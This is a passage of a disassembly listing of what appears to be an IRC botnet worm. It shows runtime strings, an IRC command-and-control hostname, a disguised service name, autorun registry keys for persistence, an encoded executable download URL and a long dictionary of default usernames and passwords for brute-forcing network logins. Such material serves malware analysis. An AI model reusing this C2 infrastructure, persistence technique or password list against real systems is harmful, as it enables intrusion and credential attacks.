%s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 10h dbl_427680 dq 1.388888888888889e-2 ; DATA XREF: sub_40D2DB+2Fr dbl_427688 dq 1.666666666666667e-1 ; DATA XREF: sub_40D2DB+15r dword_427690 dd 0FFFFFFFFh ; DATA XREF: sub_40D327+16Fr ; sub_40D765r ... align 8 dbl_427698 dq 1.333333333333333 ; DATA XREF: sub_40D327+79r dword_4276A0 dd 0 ; DATA XREF: sub_40D4C9+4Do ; sub_40D815+5Bo ... flt_4276A4 dd 5.0e-1 ; DATA XREF: ___:0040E71Cr dbl_4276A8 dq 9.765625e-4 ; DATA XREF: ___:00416A11r ; ___:00416A2Cr ... dbl_4276B0 dq -1.52587890625e-4 ; DATA XREF: sub_417E35+3E5r dbl_4276B8 dq 3.0517578125e-4 ; DATA XREF: sub_417E35+3C5r dbl_4276C0 dq -3.0517578125e-4 ; DATA XREF: sub_417E35+342r ; sub_417E35+3A7r dbl_4276C8 dq 1.52587890625e-4 ; DATA XREF: sub_417E35+271r dbl_4276D0 dq -1.739501953125e-3 ; DATA XREF: sub_417E35+24Br ; sub_417E35+2D5r ... dbl_4276D8 dq 3.11279296875e-3 ; DATA XREF: sub_417E35+E1r dbl_4276E0 dq 3.0517578125e-5 ; DATA XREF: sub_417E35+AEr ; sub_417E35+138r ... dbl_4276E8 dq 6.103515625e-5 ; DATA XREF: sub_417E35+93r ; sub_417E35+308r dbl_4276F0 dq 2.288818359375e-3 ; DATA XREF: sub_417E35+21r dbl_4276F8 dq -3.0517578125e-5 ; DATA XREF: sub_418B82+2Br flt_427700 dd 9.765625e-4 ; DATA XREF: sub_41A9BC+1AEr flt_427704 dd 8.0 ; DATA XREF: sub_41A9BC+1A8r ; sub_41F5D4+4Ar flt_427708 dd 0.0 ; DATA XREF: sub_41A9BC+16Fr flt_42770C dd 1.0e-3 ; DATA XREF: sub_41A9BC+166r dbl_427710 dq 1.0 ; DATA XREF: sub_41CDE5+6Cr ; sub_41CF2B+6Cr ... dd 0FFFFFFFFh, 41E1AAh, 41E1BEh byte_427724 db 6 ; DATA XREF: sub_41F5D4:loc_41F62Br db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: ___:off_43A89Co unicode 0, <(null)>,0 align 10h aNull_0 db '(null)',0 ; DATA XREF: ___:off_43A898o align 4 a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 10h aAtan2 db 'atan2',0 align 4 aAtan db 'atan',0 align 10h aAcos db 'acos',0 align 4 aAsin db 'asin',0 align 10h aTanh db 'tanh',0 align 4 aCosh db 'cosh',0 align 10h aSinh db 'sinh',0 align 4 aLog10 db 'log10',0 align 10h aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: ___:off_43AB14o dbl_427848 dq 0.0 ; DATA XREF: sub_421294+8Cr ; sub_421294+ACr ... dbl_427850 dq 4.195835e6 ; DATA XREF: sub_4217A9+Fr dbl_427858 dq 3.145727e6 ; DATA XREF: sub_4217A9+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4217E7+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_4217E7o align 4 aE000 db 'e+000',0 ; DATA XREF: sub_42190E+93o align 10h dword_427890 dd 0FFFFFFFFh, 421FF9h, 422003h, 0 ; DATA XREF: sub_421F92+5o dword_4278A0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4220C1+5o dd offset loc_42217F align 10h dd offset sub_42215D dd offset sub_422167 dword_4278B8 dd 0FFFFFFFFh, 4223AFh, 4223B3h, 0 ; DATA XREF: sub_4221F7+5o dword_4278C8 dd 0FFFFFFFFh, 422411h, 42241Ah, 0 ; DATA XREF: sub_4223BB+5o dword_4278D8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42249C+5o dd offset loc_4224ED align 8 dd offset loc_4224D9 dd offset loc_4224DD dword_4278F0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4224F2+5o dd offset loc_422543 align 10h dd offset loc_42252F dd offset loc_422533 dword_427908 dd 2 dup(0) ; DATA XREF: sub_4229D2+36o ; sub_423BF4+39o ... dword_427910 dd 0FFFFFFFFh, 422AE2h, 422AE6h, 0FFFFFFFFh, 422B96h, 422B9Ah ; DATA XREF: sub_4229D2+5o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 10h aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 10h aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 10h aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 10h aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 10h aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 4 aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: ___:off_43ACECo db '- floating point not loaded',0Dh,0Ah,0 align 10h aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4234D1+119o align 4 asc_427BD8 db 0Ah ; DATA XREF: sub_4234D1+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_4234D1+D3o db 0Ah db 'Program: ',0 align 4 a___ db '...',0 ; DATA XREF: sub_4234D1+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_4234D1+7Do align 8 dword_427C18 dd 0FFFFFFFFh, 423CEDh, 423CF1h ; DATA XREF: sub_423BF4+5o aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTz db 'TZ',0 ; DATA XREF: sub_4246FC+Ao align 4 aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_424C88+3Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_424C88+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_424C88+24o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_42559E:loc_425693o align 10h a1Inf db '1#INF',0 ; DATA XREF: sub_42559E+D8o align 4 a1Ind db '1#IND',0 ; DATA XREF: sub_42559E+C7o align 10h a1Snan db '1#SNAN',0 ; DATA XREF: sub_42559E+ADo align 4 dword_427CB8 dd 0FFFFFFFFh, 425F96h, 425F9Ah, 0FFFFFFFFh, 426005h, 426009h ; DATA XREF: sub_425DDF+5o dd 427DF4h ; [00000003 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] align 4 dd offset sub_4263B5 dd offset sub_4265D6 dd offset dword_427E40 off_427CE4 dd offset sub_42642C ; DATA XREF: sub_4263DE+3Ao ; sub_426448o ... dd offset sub_4263B5 dd offset loc_426612 dword_427CF0 dd 0 ; DATA XREF: sub_4263DE+16o ; sub_4264B0+16o aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_426453+11o dd offset dword_427E8C off_427D10 dd offset sub_42653B ; DATA XREF: sub_426557o ; sub_42657A+37o ... dd offset sub_4263B5 dd offset loc_4265F4 aStringTooLong db 'string too long',0 ; DATA XREF: sub_42657A+11o dd offset dword_427ED0 off_427D30 dd offset loc_426760 ; DATA XREF: sub_42674Bo ; ___:off_43B414o ... dd offset dword_427F00 off_427D38 dd offset loc_42677C ; DATA XREF: sub_426798+8o ; sub_4267D5+8o ... dd offset sub_426835 aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_426835+7o align 8 dword_427D58 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_426842+Eo dd 3, 19930520h, 2 dup(0) dword_427D78 dd 0FFFFFFFFh, 4269F3h, 4269F7h, 0FFFFFFFFh, 426A70h, 426A74h ; DATA XREF: sub_4268F1+5o dword_427D90 dd 0FFFFFFFFh, 426C68h, 426C6Ch, 0FFFFFFFFh, 426CC5h, 426CC9h ; DATA XREF: sub_426B7C+5o dd 43B414h, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_427DC0 dd offset off_43B42C ; DATA XREF: ___:00427DD8o ; ___:00427E24o ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427DC0 dd offset dword_427D90+18h dword_427DE0 dd 3 dup(0) ; DATA XREF: ___:00427E04o dd 2, 427DD8h, 3 dup(0) dd offset off_43B42C dd offset dword_427DE0+4 off_427E08 dd offset off_43B44C ; DATA XREF: ___:00427E20o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E08 dd offset off_427DC0 dd offset dword_427D90+18h dword_427E2C dd 3 dup(0) ; DATA XREF: ___:00427E50o dd 3, 427E20h dword_427E40 dd 3 dup(0) ; DATA XREF: ___:00427CE0o dd offset off_43B44C dd offset dword_427E2C+4 off_427E54 dd offset off_43B46C ; DATA XREF: ___:00427E6Co dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E54 dd offset off_427DC0 dd offset dword_427D90+18h dword_427E78 dd 3 dup(0) ; DATA XREF: ___:00427E9Co dd 3, 427E6Ch dword_427E8C dd 3 dup(0) ; DATA XREF: ___:00427D0Co dd offset off_43B46C dd offset dword_427E78+4 off_427EA0 dd offset off_43B490 ; DATA XREF: ___:00427EB8o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_427EA0 dword_427EBC dd 3 dup(0) ; DATA XREF: ___:00427EE0o dd 1, 427EB8h dword_427ED0 dd 3 dup(0) ; DATA XREF: ___:00427D2Co dd offset off_43B490 dd offset dword_427EBC+4 dd offset dword_427D90+18h dword_427EE8 dd 4 dup(0) ; DATA XREF: ___:00427F10o dd 1, 427EE4h dword_427F00 dd 3 dup(0) ; DATA XREF: ___:00427D34o dd offset off_43B414 dd offset dword_427EE8+8 align 8 dword_427F18 dd 19930520h, 2, 427F38h, 5 dup(0) ; DATA XREF: ___:loc_426D63o dd 0FFFFFFFFh, 426D4Ch, 0 dd offset sub_426D44 dword_427F48 dd 19930520h, 2, 427F68h, 5 dup(0) ; DATA XREF: ___:loc_426D80o dd 0FFFFFFFFh, 426D70h, 0 dd offset loc_426D78 dword_427F78 dd 19930520h, 2, 427F98h, 1, 427FA8h, 3 dup(0) ; DATA XREF: ___:loc_426D8Co dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 427FC0h, 4 dup(0) dd offset loc_40DA7F dd 0FFFFFFFFh, 426D96h dword_427FD8 dd 19930520h, 1, 427FD0h, 5 dup(0) ; DATA XREF: ___:loc_426D9Eo dd offset off_43B414 align 10h dd 0FFFFFFFFh, 0 dd 0Ch, 4267D5h, 0 dd offset off_43B42C dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 4264F8h, 0 dd offset off_43B44C align 8 dd 0FFFFFFFFh, 0 dword_428040 dd 1Ch, 426562h, 3, 42802Ch, 428010h, 427FF4h ; DATA XREF: ___:00428064o dword_428058 dd 0 ; DATA XREF: sub_426453+2Eo ; sub_4265D6+4Bo dd offset sub_426448 dd 0 dd offset dword_428040+8 dd 0FFFFFFFFh, 426DA8h dword_428070 dd 19930520h, 1, 428068h, 4 dup(0) ; DATA XREF: ___:loc_426DB0o dd 0FFFFFFFFh, 426DBAh dword_428094 dd 19930520h, 1, 42808Ch, 4 dup(0) ; DATA XREF: ___:loc_426DC2o dd 0FFFFFFFFh, 426DCCh dword_4280B8 dd 19930520h, 1, 4280B0h, 5 dup(0) ; DATA XREF: ___:loc_426DD4o dd offset off_43B46C align 10h dd 0FFFFFFFFh, 0 dword_4280E8 dd 1Ch, 4265BEh, 3, 4280D4h, 428010h, 427FF4h ; DATA XREF: ___:0042810Co dword_428100 dd 0 ; DATA XREF: sub_42657A+2Eo ; sub_4265D6+2Do dd offset sub_426557 dd 0 dd offset dword_4280E8+8 dd 0FFFFFFFFh, 426DDEh dword_428118 dd 19930520h, 1, 428110h, 4 dup(0) ; DATA XREF: ___:loc_426DE6o dword_428134 dd 2, 428010h, 427FF4h ; DATA XREF: ___:0042814Co dword_428140 dd 0 ; DATA XREF: sub_4265D6+Fo dd offset sub_42639A dd 0 dd offset dword_428134 dd 5 dup(60233F13h), 5 dup(68B5ECCh), 5 dup(1C90011Ch) dd 7Ah dup(0) dd 1C90011Ch, 0 dd 60233F13h, 15h dup(0) db 0CCh db 5Eh, 8Bh, 6 dd 0Eh dup(0) dd 53524556h, 2E4E4F49h, 6C6C64h, 2F9h dup(0) dword_429000 dd 0 ; DATA XREF: ___:0041BF23o dd offset loc_401205 dd offset sub_40DB2D dd offset sub_40E283 dd offset dword_40EEEC+1D0h dword_429014 dd 0 ; DATA XREF: ___:0041BF1Eo dword_429018 dd 0 ; DATA XREF: ___:0041BF14o ; --------------------------------------------------------------------------- retn 41D7h ; --------------------------------------------------------------------------- align 10h dd offset sub_4201A2 dd offset sub_42383E dd offset word_424662 dword_42902C dd 0 ; DATA XREF: ___:loc_41BF0Fo dword_429030 dd 0 ; DATA XREF: sub_41BF53+65o dd offset sub_4238E3 dword_429038 dd 0 ; DATA XREF: sub_41BF53:loc_41BFB3o dword_42903C dd 0 ; DATA XREF: sub_41BF53+76o dd offset byte_424673 dword_429044 dd 3 dup(0) ; DATA XREF: sub_41BF53:loc_41BFC4o dword_429050 dd 80000002h, 429174h, 80000002h, 4291A4h, 80000001h, 429174h ; DATA XREF: sub_401000+7o dword_429068 dd 6272h ; DATA XREF: sub_401000+63o ; sub_4010AB+Bo ... dword_42906C dd 1B58h ; DATA XREF: ___:004016BFr ; ___:00401754r dword_429070 dd 13FBh ; DATA XREF: ___:004017A0r dword_429074 dd 1A08h ; DATA XREF: sub_401AC7:loc_4045E2r dword_429078 dd 45h ; DATA XREF: sub_401AC7+201Er ; sub_40BD7C+3Br dword_42907C dd 1F90h ; DATA XREF: sub_401AC7:loc_403BD0r ; sub_40BD7C:loc_40C16Dr dword_429080 dd 201h ; DATA XREF: sub_401AC7:loc_403D5Cr word_429084 dw 7C7h ; DATA XREF: sub_401AC7:loc_404705r align 4 dword_429088 dd 1 ; DATA XREF: sub_401AC7+640r dword_42908C dd 1 ; DATA XREF: ___:loc_40155Fr ; sub_418857+Cr byte_429090 db 2Eh ; DATA XREF: sub_401AC7+A6Ar ; sub_401AC7+B23r ... align 4 dword_429094 dd 5 ; DATA XREF: sub_40AAA0+39r ; sub_40AAA0+5Fr ... dword_429098 dd 6 ; DATA XREF: sub_4017E7+78r ; sub_401AC7+27Cr ... dword_42909C dd 1 ; DATA XREF: sub_4017E7+72r ; sub_401AC7+276r a1221 db '1221',0 ; DATA XREF: ___:0040127Eo ; sub_401AC7:loc_40443Do ... align 4 aZxvsVrx db 'ZxVs VRX',0 ; DATA XREF: sub_401AC7:loc_40490Co align 4 aCool db 'cool',0 ; DATA XREF: sub_401AC7+7BD0o ; sub_401AC7+7C9Fo align 4 aSaber_ircqforu db 'saber.ircqforum.com',0 ; DATA XREF: ___:004016ABo ; ___:00401745o byte_4290D0 db 56h ; DATA XREF: sub_40194F+28r ; sub_40194F+30o db 72h, 58h, 0 dword_4290D4 dd 41414623h, 234Bh ; DATA XREF: ___:004016CBo ; ___:0040175Bo ... dword_4290DC dd 64616173h, 2Eh ; DATA XREF: ___:004016E2o ; ___:0040176Do byte_4290E4 db 73h ; DATA XREF: ___:loc_401783r ; ___:00401791o aAber_ircqforum db 'aber.ircqforum.com',0 aFaak db '#FAAK#',0 ; DATA XREF: ___:004017A7o align 10h aSaad_ db 'saad.',0 ; DATA XREF: ___:004017B9o align 4 byte_429108 db 6Dh ; DATA XREF: ___:00401361o ; ___:00401385w ... db 73h, 6Eh, 73h dd 2E737267h, 657865h, 6E6E6977h, 61622E74h, 74h aWindowsService db 'Windows Service Agent',0 ; DATA XREF: sub_401000+Eo align 4 aVrx db 'VrX|',0 align 10h aWinsys_dat db 'winsys.dat',0 align 4 aXI db '-x+i',0 ; DATA XREF: sub_401AC7+7D1Fo align 4 aF db '#f',0 ; DATA XREF: sub_401AC7+1E81o ; sub_401AC7+1E92o ... align 4 aF_0 db '#f',0 ; DATA XREF: sub_401AC7+72B0o ; sub_401AC7+7305o align 4 aF_1 db '#f',0 ; DATA XREF: sub_401AC7+40EEo ; sub_401AC7+423Bo align 10h off_429160 dd offset a@admin_com ; DATA XREF: sub_401AC7:loc_4096E1o ; "*@admin.com" off_429164 dd offset aMircV6_16Khale ; DATA XREF: sub_401AC7+89Er ; sub_401AC7+7C36o ; "mIRC v6.16 Khaled Mardam-Bey" dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey" dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey" dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey" aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 align 4 db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41A367+28o ; sub_41A68B+28o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41A367+D4o ; sub_41A68B+D4o align 4 dd 2 dup(1), 70747468h, 772F2F3Ah, 662E7777h, 77656572h dd 6F746265h, 632E6E77h, 7A2F6D6Fh, 2F737678h, 73636E76h dd 652E6D79h, 6578h, 42993Ch, 42992Ch, 42991Ch, 429910h dd 429908h, 429900h, 4298F8h, 4298F0h, 4298E4h, 4298DCh dd 4298D4h, 4298CCh, 4298C0h, 4298B8h, 4298B0h, 4298A4h dd 4298A0h, 429898h, 429894h, 0 dd offset byte_43B4B8 dd offset aAdministrato_0 ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aAdm ; "adm" dd offset aPassword1 ; "password1" dd offset aPassword ; "password" dd offset aPasswd ; "passwd" dd offset aPass1234 ; "pass1234" dd offset aPass ; "pass" dd offset aPwd ; "pwd" dd offset a007 ; "007" dd offset a1 ; "1" dd offset a12 ; "12" dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a1234567890 ; "1234567890" dd offset a2000 ; "2000" dd offset a2001 ; "2001" dd offset a2002 ; "2002" dd offset a2003 ; "2003" dd offset a2004 ; "2004" dd offset aTest ; "test" dd offset aGuest_0 ; "guest" dd offset aNone ; "none" dd offset aDemo ; "demo" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aDefault ; "default" dd offset aSystem ; "system" dd offset aServer ; "server" dd offset aRoot ; "root" dd offset aNull_1 ; "null" dd offset aQwerty ; "qwerty" dd offset aMail ; "mail" dd offset aOutlook ; "outlook" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aAccounts ; "accounts" dd offset aAccounting ; "accounting" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser ; "user" dd offset aOem ; "oem" dd offset aOemuser ; "oemuser" dd offset aOeminstall ; "oeminstall" dd offset aWindows ; "windows" dd offset aWin98 ; "win98" dd offset aWin2k ; "win2k" dd offset aWinxp ; "winxp" dd offset aWinnt ; "winnt" dd offset aWin2000 ; "win2000" dd offset aQaz ; "qaz" dd offset aAsd ; "asd" dd offset aZxc ; "zxc" dd offset aQwe ; "qwe" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" dd offset aSusan ; "susan" dd offset aPeter ; "peter" dd offset aBrian ; "brian" dd offset aLee ; "lee" dd offset aNeil ; "neil" dd offset aIan ; "ian" dd offset aChris ; "chris" dd offset aEric ; "eric" dd offset aGeorge ; "george" dd offset aKate ; "kate" dd offset aBob ; "bob" dd offset aKatie ; "katie" dd offset aMary ; "mary" dd offset aLogin ; "login" dd offset aLoginpass ; "loginpass" dd offset aTechnical ; "technical" dd offset aBackup ; "backup" dd offset aExchange ; "exchange" dd offset aFuck ; "fuck" dd offset aBitch ; "bitch" dd offset aSlut ; "slut" dd offset aSex ; "sex" dd offset aGod ; "god" dd offset aHell ; "hell" dd offset aHello ; "hello" dd offset aDomain ; "domain" dd offset aDomainpass ; "domainpass" dd offset aDomainpassword ; "domainpassword" dd offset aDatabase ; "database" dd offset aAccess ; "access" dd offset aDbpass ; "dbpass" dd offset aDbpassword ; "dbpassword" dd offset aDatabasepass ; "databasepass" dd offset aData ; "data" dd offset aDatabasepasswo ; "databasepassword" dd offset aDb1 ; "db1" dd offset aDb2 ; "db2" dd offset aDb1234 ; "db1234" dd offset aSa ; "sa" dd offset aSql ; "sql" dd offset aSqlpassoainsta ; "sqlpassoainstall" dd offset aOrainstall ; "orainstall" dd offset aOracle ; "oracle" dd offset aIbm ; "ibm" dd offset aCisco ; "cisco" dd offset aDell ; "dell" dd offset aCompaq ; "compaq" dd offset aSiemens ; "siemens" dd offset aHp ; "hp" dd offset aNokia ; "nokia" dd offset aXp ; "xp" dd offset aControl ; "control" dd offset aOffice ; "office" dd offset aBlank ; "blank" dd offset aWinpass ; "winpass" dd offset aMain ; "main" dd offset aLan ; "lan" dd offset aInternet ; "internet" dd offset aIntranet ; "intranet" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aStaff ; "staff" align 10h dword_4294D0 dd 10h ; DATA XREF: sub_401AC7+AD3r ; sub_401AC7+AFFr ... aIntranet db 'intranet',0 ; DATA XREF: ___:004294BCo align 10h aLan db 'lan',0 ; DATA XREF: ___:004294B4o aMain db 'main',0 ; DATA XREF: ___:004294B0o align 4 aWinpass db 'winpass',0 ; DATA XREF: ___:004294ACo aBlank db 'blank',0 ; DATA XREF: ___:004294A8o align 4 aOffice db 'office',0 ; DATA XREF: ___:004294A4o align 4 aControl db 'control',0 ; DATA XREF: ___:004294A0o aXp db 'xp',0 ; DATA XREF: ___:0042949Co align 10h aNokia db 'nokia',0 ; DATA XREF: ___:00429498o align 4 aHp db 'hp',0 ; DATA XREF: ___:00429494o align 4 aSiemens db 'siemens',0 ; DATA XREF: ___:00429490o aCompaq db 'compaq',0 ; DATA XREF: ___:0042948Co align 4 aDell db 'dell',0 ; DATA XREF: ___:00429488o align 4 aCisco db 'cisco',0 ; DATA XREF: ___:00429484o align 4 aIbm db 'ibm',0 ; DATA XREF: ___:00429480o aOrainstall db 'orainstall',0 ; DATA XREF: ___:00429478o align 4 aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: ___:00429474o align 10h aSql db 'sql',0 ; DATA XREF: ___:00429470o aSa db 'sa',0 ; DATA XREF: ___:0042946Co align 4 aDb1234 db 'db1234',0 ; DATA XREF: ___:00429468o align 10h aDb1 db 'db1',0 ; DATA XREF: ___:00429460o aDatabasepasswo db 'databasepassword',0 ; DATA XREF: ___:0042945Co align 4 aData db 'data',0 ; DATA XREF: ___:00429458o align 10h aDatabasepass db 'databasepass',0 ; DATA XREF: ___:00429454o align 10h aDbpassword db 'dbpassword',0 ; DATA XREF: ___:00429450o align 4 aDbpass db 'dbpass',0 ; DATA XREF: ___:0042944Co align 4 aAccess db 'access',0 ; DATA XREF: ___:00429448o align 4 aDomainpassword db 'domainpassword',0 ; DATA XREF: ___:00429440o align 4 aDomainpass db 'domainpass',0 ; DATA XREF: ___:0042943Co align 4 aDomain db 'domain',0 ; DATA XREF: ___:00429438o align 10h aHello db 'hello',0 ; DATA XREF: ___:00429434o align 4 aHell db 'hell',0 ; DATA XREF: ___:00429430o align 10h aGod db 'god',0 ; DATA XREF: ___:0042942Co aSex db 'sex',0 ; DATA XREF: ___:00429428o aSlut db 'slut',0 ; DATA XREF: ___:00429424o align 10h aBitch db 'bitch',0 ; DATA XREF: ___:00429420o align 4 aFuck db 'fuck',0 ; DATA XREF: ___:0042941Co align 10h aExchange db 'exchange',0 ; DATA XREF: ___:00429418o align 4 aBackup db 'backup',0 ; DATA XREF: ___:00429414o align 4 aTechnical db 'technical',0 ; DATA XREF: ___:00429410o align 10h aLoginpass db 'loginpass',0 ; DATA XREF: ___:0042940Co align 4 aLogin db 'login',0 ; DATA XREF: ___:00429408o align 4 aMary db 'mary',0 ; DATA XREF: ___:00429404o align 4 aKatie db 'katie',0 ; DATA XREF: ___:00429400o align 4 aKate db 'kate',0 ; DATA XREF: ___:004293F8o align 4 aGeorge db 'george',0 ; DATA XREF: ___:004293F4o align 4 aEric db 'eric',0 ; DATA XREF: ___:004293F0o align 4 aChris db 'chris',0 ; DATA XREF: ___:004293ECo align 4 aIan db 'ian',0 ; DATA XREF: ___:004293E8o aNeil db 'neil',0 ; DATA XREF: ___:004293E4o align 10h aLee db 'lee',0 ; DATA XREF: ___:004293E0o aBrian db 'brian',0 ; DATA XREF: ___:004293DCo align 4 aSusan db 'susan',0 ; DATA XREF: ___:004293D4o align 4 aSue db 'sue',0 ; DATA XREF: ___:004293D0o aSam db 'sam',0 ; DATA XREF: ___:004293CCo aLuke db 'luke',0 ; DATA XREF: ___:004293C8o align 4 aPeter db 'peter',0 ; DATA XREF: ___:004293C4o ; ___:004293D8o align 4 aJohn db 'john',0 ; DATA XREF: ___:004293C0o align 4 aMike db 'mike',0 ; DATA XREF: ___:004293BCo align 4 aBill db 'bill',0 ; DATA XREF: ___:004293B8o align 4 aFred db 'fred',0 ; DATA XREF: ___:004293B4o align 4 aJoe db 'joe',0 ; DATA XREF: ___:004293B0o aJen db 'jen',0 ; DATA XREF: ___:004293ACo aBob db 'bob',0 ; DATA XREF: ___:004293A8o ; ___:004293FCo aQwe db 'qwe',0 ; DATA XREF: ___:004293A4o aZxc db 'zxc',0 ; DATA XREF: ___:004293A0o aAsd db 'asd',0 ; DATA XREF: ___:0042939Co aQaz db 'qaz',0 ; DATA XREF: ___:00429398o aWin2000 db 'win2000',0 ; DATA XREF: ___:00429394o aWinnt db 'winnt',0 ; DATA XREF: ___:00429390o align 4 aWinxp db 'winxp',0 ; DATA XREF: ___:0042938Co align 10h aWin2k db 'win2k',0 ; DATA XREF: ___:00429388o align 4 aWin98 db 'win98',0 ; DATA XREF: ___:00429384o align 10h aWindows db 'windows',0 ; DATA XREF: ___:00429380o aOeminstall db 'oeminstall',0 ; DATA XREF: ___:0042937Co align 4 aOemuser db 'oemuser',0 ; DATA XREF: ___:00429378o aOem db 'oem',0 ; DATA XREF: ___:00429374o aUser db 'user',0 ; DATA XREF: sub_401AC7+45F2o ; ___:00429370o align 4 aHomeuser db 'homeuser',0 ; DATA XREF: ___:0042936Co align 4 aHome db 'home',0 ; DATA XREF: ___:00429368o align 4 aAccounting db 'accounting',0 ; DATA XREF: ___:00429364o align 4 aAccounts db 'accounts',0 ; DATA XREF: ___:00429360o align 4 aInternet db 'internet',0 ; DATA XREF: ___:0042935Co ; ___:004294B8o align 10h aWww db 'www',0 ; DATA XREF: ___:00429358o aWeb db 'web',0 ; DATA XREF: sub_401AC7+727Fo ; ___:00429354o aOutlook db 'outlook',0 ; DATA XREF: ___:00429350o aMail db 'mail',0 ; DATA XREF: ___:0042934Co align 4 aQwerty db 'qwerty',0 ; DATA XREF: ___:00429348o align 10h aNull_1 db 'null',0 ; DATA XREF: ___:00429344o align 4 aServer db 'server',0 ; DATA XREF: sub_401AC7+3E8Fo ; ___:0042933Co align 10h aSystem db 'system',0 ; DATA XREF: ___:00429338o align 4 aChangeme db 'changeme',0 ; DATA XREF: ___:00429330o align 4 aLinux db 'linux',0 ; DATA XREF: ___:0042932Co align 4 aUnix db 'unix',0 ; DATA XREF: ___:00429328o align 4 aDemo db 'demo',0 ; DATA XREF: ___:00429324o align 4 aNone db 'none',0 ; DATA XREF: ___:00429320o align 4 aTest db 'test',0 ; DATA XREF: 